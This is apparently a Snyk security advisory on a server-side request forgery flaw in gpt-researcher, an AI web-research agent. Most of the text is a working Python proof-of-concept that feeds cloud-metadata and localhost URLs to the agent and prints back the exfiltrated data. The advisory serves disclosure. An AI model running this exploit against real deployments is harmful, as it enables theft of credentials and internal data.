Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Server-side Request Forgery (SSRF) vulnerabilities in an interactive lesson.
Start learningThere is no fixed version for gpt-researcher.
gpt-researcher is a GPT Researcher is an autonomous agent designed for comprehensive web research on any task
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ws Endpoint component when processing the source_urls argument. An attacker can access internal resources or perform unauthorized requests by supplying crafted URLs remotely.
import asyncio
import websockets
import json
async def ssrf_exploit():
uri = 'ws://target:8000/ws'
async with websockets.connect(uri) as ws:
payload = json.dumps({
'task': 'summarize this page',
'report_type': 'research_report',
'report_source': 'static',
'source_urls': [
'http://169.254.169.254/latest/meta-data/',
'http://127.0.0.1:8000/files/',
'http://127.0.0.1:8000/api/reports'
],
'tone': 'Objective',
'agent': 'Auto Agent',
'repo_name': '',
'branch_name': ''
})
await ws.send('start ' + payload)
while True:
try:
msg = await asyncio.wait_for(ws.recv(), timeout=60)
data = json.loads(msg)
msg_type = data.get('type', 'unknown')
output = data.get('output', '')
if msg_type == 'logs':
print(f"[LOG] {output[:200]}")
elif msg_type == 'report':
print(f"\n{'='*60}")
print(f"EXFILTRATED DATA via SSRF:")
print(f"{'='*60}")
print(output[:2000])
break
except asyncio.TimeoutError:
print("Timeout waiting for response")
break
asyncio.run(ssrf_exploit())